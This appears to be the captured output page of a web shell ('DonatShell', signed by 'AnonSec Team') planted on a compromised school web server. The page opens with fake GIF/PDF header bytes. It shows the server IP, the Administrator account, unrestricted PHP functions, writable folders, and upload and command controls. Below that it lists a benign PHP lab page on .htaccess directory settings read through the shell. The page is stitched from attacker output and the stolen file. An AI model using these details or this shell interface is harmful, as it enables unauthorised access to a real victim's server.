GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST1611/Labs/Lab10/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST1611/Labs/Lab10/Lab10.phpinc
<?
// JimMartinson/CST1611/Labs/Lab10/Lab10.phpinc

require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced.
$dataFolder = '/var/www/html';
$apacheFolder = $dataFolder;
$dirSep = '/';


$disabled = '';
#$disabled = ' disabled'; // Comment this line to enable lab.

if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? }

$directoryFile = $evaluationName.'-'.$userFullName.'.txt';
require('common/Browser/Browser.phpinc');
$ShowSpanCountBefore = false;
#$ShowSpanCountBefore = true;
?>
<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> assignment</legend>
The purpose of this lab is to demonstrate uses of the .htaccess file.
<br><?=$gradeNote?>
<ol id="main" class="count">
	<? // 1. ?>
	<li class="count">Setup a directory for use in <?=$evaluationType?> <?=$evaluationNumber?>.
		<ol class="count">
			<li class="count">Create a directory called <b class="copyText"><?=$evaluationName?></b> inside your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?></b> directory.</li>
			<li class="count">Create a text file called <b class="copyText"><?=$directoryFile?></b> in the <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.
			</li>
		</ol>
	</li>
	<? // 2. ?>
		<li class="count">Setup a 127.0.0.1 host entry and Name-based Virtual Host (lab10.test.conf) for <?=$evaluationType?> <?=$evaluationNumber?> (<a href="../LabHostSetup/?evaluationName=<?=$evaluationName?>&ha=127.0.0.1&ht=<?=$evaluationName?>.test&vh=<?=$evaluationName?>.test&dr=<?=$evaluationName?>&au=true">Instructions are here</a>).
			<ol class="count">
			</ol>
		</li>
	<? // 3. ?>
	<li class="count">Setup a .htaccess file to stop browsing of a directory.
		<br><span class="note">Usually websites are configured so that by default directories do not show <samp>Indexes</samp> and only a few special directories may be set up for <samp>Indexes</samp> (browsing by users).
		We did the opposite and allow browsing of directories with the <samp><tt>Options</tt> All +MultiViews</samp> directive, so we are stopping browsing into a directory instead.</span>
		<ol class="count">
			<li class="count">Create a directory called <b class="copyText">notbrowsable</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.
			<li class="count">Create a <b class="copyText">.htaccess</b>. file in the <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?><?=$dirSep?>notbrowsable</b> directory.</li>
			<li class="count">Edit the <b>.htaccess</b> file and place an <b><tt>Options</tt></b> directive that does not allow Indexes.</li>
			<li class="count">Ensure your notbrowsable setup is working.
				<ol class="count">
					<li class="count">Open up a browser and go to <b class="copyText">http://<?=$evaluationName?>.test</b>.</li>
					<li class="count">Click on the <b>notbrowsable</b> directory. You should see a page similar to:<br>
						<? BrowserBegin('403 Forbidden','http://'.strtolower($evaluationName).'.test/notbrowsable/',600); ?>
						<h1 class="left" style="margin-left:10px;">Forbidden</h1>
						<p>You don't have permission to access /notbrowsable/ on this server.</p>
						<br>
						<? BrowserEnd(); ?>
					</li>
				</ol>
			</li>
      <li class="count"><b class="info">Take a screenshot of the page</b> and save the image as <b class="copyText"><?=$courseNumber?>-<?=$evaluationName?>-<?=$userFileName?>-<span class="count">3-5</span>.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.
      	<br>Make sure that the address bar is visible in your screenshot before saving the image.
      </li>
			<li class="count">Ensure documents can still be accessed.
				<ol class="count">
					<li class="count">Download <b><a href="<?=$evaluationName?>-Index.php"><?=$userFileName?>.html</a></b> and save it in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?><?=$dirSep?>notbrowsable</b> directory.</li>
					<li class="count">Open up a browser and go to <b class="copyText">http://<?=$evaluationName?>.test/notbrowsable/<?=$userFileName?>.html</b>. You should see a page similar to:<br>
						<? BrowserBegin($courseNumber.' '.$evaluationName.' '.$userFullName.' notbrowsable','http://'.strtolower($evaluationName).'.test/notbrowsable/'.$userFileName.'.html',600); ?>
						<h1><?=$courseNumber?> Lab10 - step 3.</h1>
						<b class="info">Take a screenshot of the page</b> and save the image as <b><?=$courseNumber?>-<?=$evaluationName?>-<?=$userFileName?>-<span class="count">3-7</span>.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.
      			<br>Make sure that the address bar is visible in your screenshot before saving the image.
						<br>
						<? BrowserEnd(); ?>
					</li>
				</ol>
			</li>
      <li class="count"><b class="info">Take a screenshot of the page</b> and save the image as <b class="copyText">CST1611-<?=$evaluationName?>-<?=$userFileName?>-<span class="count">3-7</span>.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.
      	<br>Make sure that the address bar is visible in your screenshot before saving the image.
      </li>
		</ol>
	</li>
	<? // 4. ?>
	<li class="count">Setup a <b>.htaccess</b> file to format <tt>IndexOptions</tt> and add descriptions.
		<ol class="count">
			<li class="count">Download the following files and put them in the <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory:
				<ol class="count">
					<li class="count"><a href="mars.jpg">mars.jpg</a>.</li>
					<li class="count"><a href="Planets.txt">Planets.txt</a>.</li>
					<li class="count"><a href="saturn.jpg">saturn.jpg</a>.</li>
				</ol>
			</li>
			<li class="count">Create a <b class="copyText">.htaccess</b> file in the <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.
				<br>Put the following directives into the <b>.htaccess</b> file.
				<ol class="count">
					<li class="count">An <tt class="copyText">IndexOptions</tt> directive to format indexing as follows:
					<br><tt class="copyText">IndexOptions FancyIndexing NameWidth=* HTMLTable FoldersFirst IgnoreCase DescriptionWidth=* VersionSort</tt></li>
					<li class="count">An <tt class="copyText">AddDescription</tt> directive that assigns the description <b class="copyText">"Do not browse here."</b> for the <b>notbrowsable</b> directory.</li>
					<li class="count">An <tt class="copyText">AddDescription</tt> directive that assigns the description <b class="copyText">"Image of mars taken by the Hubble Space Telescope."</b> for the <b>mars.jpg</b> file.</li>
					<li class="count">An <tt class="copyText">AddDescription</tt> directive that assigns the description <b class="copyText">"Planet order list."</b> for the <b><b>Planets.txt</b></b> file.</li>
					<li class="count">An <tt class="copyText">AddDescription</tt> directive that assigns the description <b class="copyText">"Mosaic of 102 frames as recorded by the Cassini spacecraft."</b> for the <b>saturn.jpg</b> file.
					<br>Enclose the entire description in an <b>&lt;a&gt;</b> tag with an <b>href</b> of <b class="copyText">http://apod.nasa.gov/apod/ap041225.html</b>.
					<br><span class="note">The format for an <b>&lt;a&gt;</b> tag is: <b>&lt;a href="URL_to_go_to"&gt;Text_to_show_as_link&lt;/a&gt;</b>. The <b>href</b> in an <b>&lt;a&gt;</b> tag must be enclosed in quotes (<b>&quot;</b>) and must be escaped in the description with the backshash as in <b>\&quot;</b>.</span></li>
				</ol>
			</li>
			<li class="count">Ensure the <b>.htaccess</b> file contains the correct directives.
				<ol class="count">
					<li class="count">Open up a browser and go to <b>http://<?=$evaluationName?>.test/</b>. You should see a page similar to:<br>
						<? BrowserBegin('Index of /','http://'.strtolower($evaluationName).'.test/',800); ?>
<h1 class="left" style="margin-left:10px;">Index of /</h1>
<table style="width: 100%;">
	<tr><th><img src="icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr><tr><th colspan="5"><hr></th></tr>
	<tr><td valign="top"><img src="icons/folder.gif" alt="[DIR]"></td><td><a href="#notbrowsable/">notbrowsable/</a></td><td class="right nowrap">18-Apr-2014 12:01  </td><td align="right">  - </td><td>Do not browse here.</td></tr>
	<tr><td valign="top"><img src="icons/text.gif" alt="[TXT]"></td><td><a href="#">!Lab10-Jim Martinson.txt</a></td><td class="right nowrap">24-Apr-2014 10:26  </td><td align="right"> 99 </td><td>Planet order list.</td></tr>
	<tr><td valign="top"><img src="icons/image2.gif" alt="[IMG]"></td><td><a href="#mars.jpg">mars.jpg</a></td><td class="right nowrap">24-Apr-2014 10:00  </td><td align="right"> 29K</td><td>Image of mars taken by the Hubble Space Telescope.</td></tr>
	<tr><td valign="top"><img src="icons/text.gif" alt="[TXT]"></td><td><a href="#Planets.txt">Planets.txt</a></td><td class="right nowrap">24-Apr-2014 10:26  </td><td align="right"> 99 </td><td>Planet order list.</td></tr>
	<tr><td valign="top"><img src="icons/image2.gif" alt="[IMG]"></td><td><a href="saturn.jpg">saturn.jpg</a></td><td class="right nowrap">24-Apr-2014 10:06  </td><td align="right">5.8M</td><td><a href="http://apod.nasa.gov/apod/ap041225.html">Mosaic of 102 frames as recorded by the Cassini<br>spacecraft.</a></td></tr>
	<tr><th colspan="5"><hr></th></tr>
</table>
<br>
						<? BrowserEnd(); ?>
					</li>
				</ol>
			</li>
      <li class="count"><b class="info">Take a screenshot of the page</b> and save the image as <b class="copyText">CST1611-<?=$evaluationName?>-<?=$userFileName?>-<span class="count">4-4</span>.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.
      	<br>Make sure that the address bar is visible in your screenshot before saving the image.
      </li>
		</ol>
	</li>
	<? // 5. ?>
  <li>Turn in your assignment:
		<ol type="a">
			<li>Copy your <b>hosts</b> and <b>lab10.test.conf</b> file into your <b><?=$evaluationName?></b> folder.</li>
			<li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.</li>
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li>
		</ol>
  </li>
 </ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
<!-- <? if ( isset($assignmentWeekDue) ) { ?><?=$evaluationType?> <?=$evaluationNumber?> is due on or before <?=classWeekDateCSS($class['startDate'][0],$assignmentWeekDue)?>.<? } ?> -->
<?=$gradeNote?>
</fieldset>

<?
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
require('common/pageFooter.phpinc');
?>

Anon7 - 2022
AnonSec Team